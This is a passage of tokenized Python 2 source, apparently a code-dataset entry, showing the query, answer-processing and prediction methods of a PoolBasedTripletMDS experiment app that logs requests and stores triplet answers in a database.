"center_", ",_", "'", "label", "'_", ":_", "'", "center", "'_", ",_", "'", "flag", "'_", ":_", "0_", "}_", ",_", "{_", "'", "index", "'_", ":_", "index", "\\u", "left_", ",_", "'", "label", "'_", ":_", "'", "left", "'_", ",_", "'", "flag", "'_", ":_", "0_", "}_", ",_", "{_", "'", "index", "'_", ":_", "index", "\\u", "right_", ",_", "'", "label", "'_", ":_", "'", "right", "'_", ",_", "'", "flag", "'_", ":_", "0_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "save", " ", "query", " ", "data", " ", "to", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "query", "\\u", "doc_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "doc_", "._", "update_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "doc_", "[_", "'", "participa", "nt", "\\u", "uid", "'_", "]_", "=_", "participa", "nt", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "doc_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "=_", "alg", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "doc_", "[_", "'", "exp", "\\u", "uid", "'_", "]_", "=_", "exp", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "doc_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "=_", "alg", "\\u", "label_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "doc_", "[_", "'", "timestamp", "\\u", "query", "\\u", "generat", "ed", "'_", "]_", "=_", "timestamp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "query", "\\u", "doc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "field_", ",_", "query", "\\u", "doc_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args", "\\u", "out_", "=_", "{_", "'", "args", "'_", ":_", "query_", ",_", "'", "meta", "'_", ":_", "meta_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "args", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "get", "Query", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "get", "Query", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process", "Answer_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "reporting", " ", "back", " ", "the", " ", "reward", " ", "of", " ", "pull", "ing", " ", "the", " ", "arm", " ", "suggested", " ", "by", " ", "get", "Query", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", " ", "(", "in", " ", "json", " ", "structure", " ", "with", " ", "string", " ", "keys", "):", "\\", "10", ";", " ", " ", "(", "index", ")", " ", "index", "\\u", "winner", " ", ":", " ", "index", " ", "of", " ", "the", " ", "winner", " ", "in", " ", "(", "must", " ", "be", " ", "index", " ", "of", " ", "left", " ", "or", " ", "right", " ", "target", " ", "in", " ", "target", "\\u", "indice", "s", ")", "\\", "10", ";", " ", " ", "(", "str", ")", " ", "query", "\\u", "uid", " ", ":", " ", "unique", " ", "identifi", "er", " ", "of", " ", "query", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "output", " ", "(", "comma", " ", "separate", "d", "):", " ", "\\", "10", ";", " ", " ", "if", " ", "error", ":", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "(", "JSO", "N", ")", " ", "'{}'", ",", " ", "(", "bool", ")", " ", "Fal", "se", ",", " ", "(", "str", ")", " ", "error", "\\", "10", ";", " ", " ", "else", ":", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "(", "JSO", "N", ")", " ", "'{}'", ",", " ", "(", "bool", ")", " ", "Tru", "e", ",'", "'", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "process", "Answer", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "process", "Answer", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "index", "\\u", "winner", "'_", ",_", "'", "query", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "process", "Answer", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "list", " ", "of", " ", "algo", "rit", "hms", " ", "associate", "d", " ", "with", " ", "project_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "alg", "\\u", "list_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "alg", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "query", "\\u", "uid_", "=_", "args", "\\u", "dict_", "[_", "'", "query", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "did", "Succeed", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Fail", "ed", " ", "to", " ", "retrieve", " ", "query", " ", "with", " ", "query", "\\u", "uid", "=\"_", "+_", "query", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "alg", "\\u", "uid_", "==_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "label_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "alg", "\\u", "label_", "=_", "algorithm_", "[_", "'", "test\\u", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "reporte", "d\\u", "answers_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "increment_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "num", "\\u", "reporte", "d\\u", "answer", "s", "\\u", "for", "\\u'_", "+_", "alg", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "id", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "targets_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "target", "\\u", "indice", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "target_", "in_", "targets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "target_", "[_", "'", "label", "'_", "]_", "==_", "'", "center", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "center_", "=_", "target_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "target_", "[_", "'", "label", "'_", "]_", "==_", "'", "left", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "left_", "=_", "target_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "target_", "[_", "'", "label", "'_", "]_", "==_", "'", "right", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "right_", "=_", "target_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index", "\\u", "winner_", "=_", "args", "\\u", "dict_", "[_", "'", "index", "\\u", "winner", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "query", " ", "doc_", "\\u\\u\\uNL\\u\\u\\u_", "timestamp", "\\u", "query", "\\u", "generated_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "timestamp", "\\u", "query", "\\u", "generat", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datetime", "\\u", "query", "\\u", "generated_", "=_", "utils_", "._", "str2", "datetime_", "(_", "timestamp", "\\u", "query", "\\u", "generated_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamp", "\\u", "answer", "\\u", "received_", "=_", "args", "\\u", "dict_", "._", "get_", "(_", "'", "meta", "'_", ",_", "{_", "}_", ")_", "._", "get_", "(_", "'", "timestamp", "\\u", "answer", "\\u", "receive", "d", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "timestamp", "\\u", "answer", "\\u", "received_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "datetime", "\\u", "answer", "\\u", "received_", "=_", "datetime", "\\u", "query", "\\u", "generated_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "datetime", "\\u", "answer", "\\u", "received_", "=_", "utils_", "._", "str2", "datetime_", "(_", "timestamp", "\\u", "answer", "\\u", "received_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "delta", "\\u", "datetime_", "=_", "datetime", "\\u", "answer", "\\u", "received_", "-_", "datetime", "\\u", "query", "\\u", "generated_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "round", "\\u", "trip", "\\u", "time_", "=_", "delta", "\\u", "datetime_", "._", "seconds_", "+_", "delta", "\\u", "datetime_", "._", "microseconds_", "/_", "1000000", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "time_", "=_", "float_", "(_", "args", "\\u", "dict_", "._", "get_", "(_", "'", "response", "\\u", "time", "'_", ",_", "0._", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "response", "\\u", "time", "'_", ",_", "response", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "network", "\\u", "dela", "y", "'_", ",_", "round", "\\u", "trip", "\\u", "time_", "-_", "response", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "index", "\\u", "winner", "'_", ",_", "index", "\\u", "winner_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "q_", "=_", "[_", "index", "\\u", "left_", ",_", "index", "\\u", "right_", ",_", "index", "\\u", "center_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index", "\\u", "winner_", "==_", "index", "\\u", "right_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "[_", "index", "\\u", "right_", ",_", "index", "\\u", "left_", ",_", "index", "\\u", "center_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "query", "\\u", "uid_", ",_", "'", "q", "'_", ",_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "call", " ", "process", "Answer_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "process", "Answer_", ")_", "(_", "resource_", "=_", "rc_", ",_", "index", "\\u", "center_", "=_", "index", "\\u", "center_", ",_", "index", "\\u", "left_", "=_", "index", "\\u", "left_", ",_", "index", "\\u", "right_", "=_", "index", "\\u", "right_", ",_", "index", "\\u", "winner_", "=_", "index", "\\u", "winner_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "process", "Answer", "'_", ",_", "'", "duration", "'_", ":_", "dt_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "._", "update_", "(_", "rc_", "._", "get", "Dur", "ations_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "=_", "{_", "'", "log", "\\u", "entry", "\\u", "duration", "s", "'_", ":_", "log", "\\u", "entry", "\\u", "durations_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "we", "'", "re", " ", "goi", "ng", " ", "to", " ", "evaluate", " ", "this", " ", "loss_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "num", "\\u", "reporte", "d\\u", "answers_", "%_", "(_", "(_", "n_", "+_", "4_", ")_", "/_", "4_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "predi", "ct", "\\u", "id_", "=_", "'", "get", "\\u", "embed", "ding", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "{_", "'", "alg", "\\u", "label", "'_", ":_", "alg", "\\u", "label_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "predi", "ct", "\\u", "args", "\\u", "dict_", "=_", "{_", "'", "predi", "ct", "\\u", "id", "'_", ":_", "predi", "ct", "\\u", "id_", ",_", "'", "params", "'_", ":_", "params_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "predi", "ct", "\\u", "args", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "predi", "ct", "\\u", "args", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "submit", "\\u", "job_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "'", "predi", "ct", "'_", ",_", "predi", "ct", "\\u", "args", "\\u", "json_", ",_", "ignore", "\\u", "result_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "args", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args", "\\u", "out_", "=_", "{_", "'", "args", "'_", ":_", "response", "\\u", "args", "\\u", "dict_", ",_", "'", "meta", "'_", ":_", "meta_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "args", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "process", "Answer", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "process", "Answer", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "predict_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Ha", "ve", " ", "the", " ", "model", " ", "learned", " ", "by", " ", "some", " ", "partic", "ular", " ", "algo", "rit", "hm", " ", "predi", "ct", " ", "a", " ", "variet", "y", " ", "of", " ", "stu", "ff", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", " ", "(", "in", " ", "json", " ", "structure", " ", "with", " ", "string", " ", "keys", "):", "\\", "10", ";", " ", " ", "(", "string", ")", " ", "predi", "ct", "\\u", "id", " ", ":", " ", "identifi", "er", " ", "for", " ", "the", " ", "desi", "red", " ", "predicti", "on", "\\", "10", ";", " ", " ", "(", "list", ")", " ", "params", " ", ":", " ", "dictionar", "y", " ", "of", " ", "stat", "\\u", "id", " ", "specific", " ", "fields", ".", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#########", "#", "\\", "10", ";", " ", " ", " ", " ", "Descripti", "on", ":", " ", "Ea", "ch", " ", "algo", "rit", "hm", " ", "(", "with", " ", "an", " ", "associate", "d", " ", "alg", "\\u", "label", ")", " ", "has", " ", "a", " ", "test\\u", "alg", "\\u", "label", " ", "associate", "d", " ", "with", " ", "it", ".", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", ":", "\\", "10", ";", " ", " ", "(", "string", ")", " ", "predi", "ct", "\\u", "id", " ", ":", " ", "'", "evaluate", "\\u", "on", "\\u", "test", "'", "\\", "10", ";", " ", " ", "(", "dict", ")", " ", "params", " ", ":", " ", "dictionar", "y", " ", "with", " ", "fields", "\\", "10", ";", " ", " ", "(", "string", ")", " ", "alg", "\\u", "label", " ", ":", " ", "descri", "bes", " ", "target", " ", "algo", "rit", "hm", " ", "to", " ", "test", "\\", "10", ";", " ", " ", "(", "string", ")", " ", "test\\u", "alg", "\\u", "label", " ", ":", " ", "descri", "bes", " ", "the", " ", "algo", "rit", "hm", " ", "tha", "t", " ", "who", "s", " ", "triplet", "s", " ", "are", " ", "evaluate", "d", " ", "on", " ", "the", " ", "target", " ", "algo", "rit", "hm", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "output", " ", "(", "in", " ", "json", " ", "structure", "):", "\\", "10", ";", " ", " ", "(", "float", ")", " ", "num", "\\u", "reporte", "d\\u", "answer", "s", " ", ":", " ", "number", " ", "of", " ", "reporte", "d", " ", "answer", "s", " ", "after", " ", "whi", "ch", " ", "the", " ", "calculati", "on", " ", "was", " ", "made", "\\", "10", ";", " ", " ", "(", "float", ")", " ", "error", " ", ":", " ", "0", "/", "1", " ", "loss", " ", "on", " ", "test", " ", "set", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", 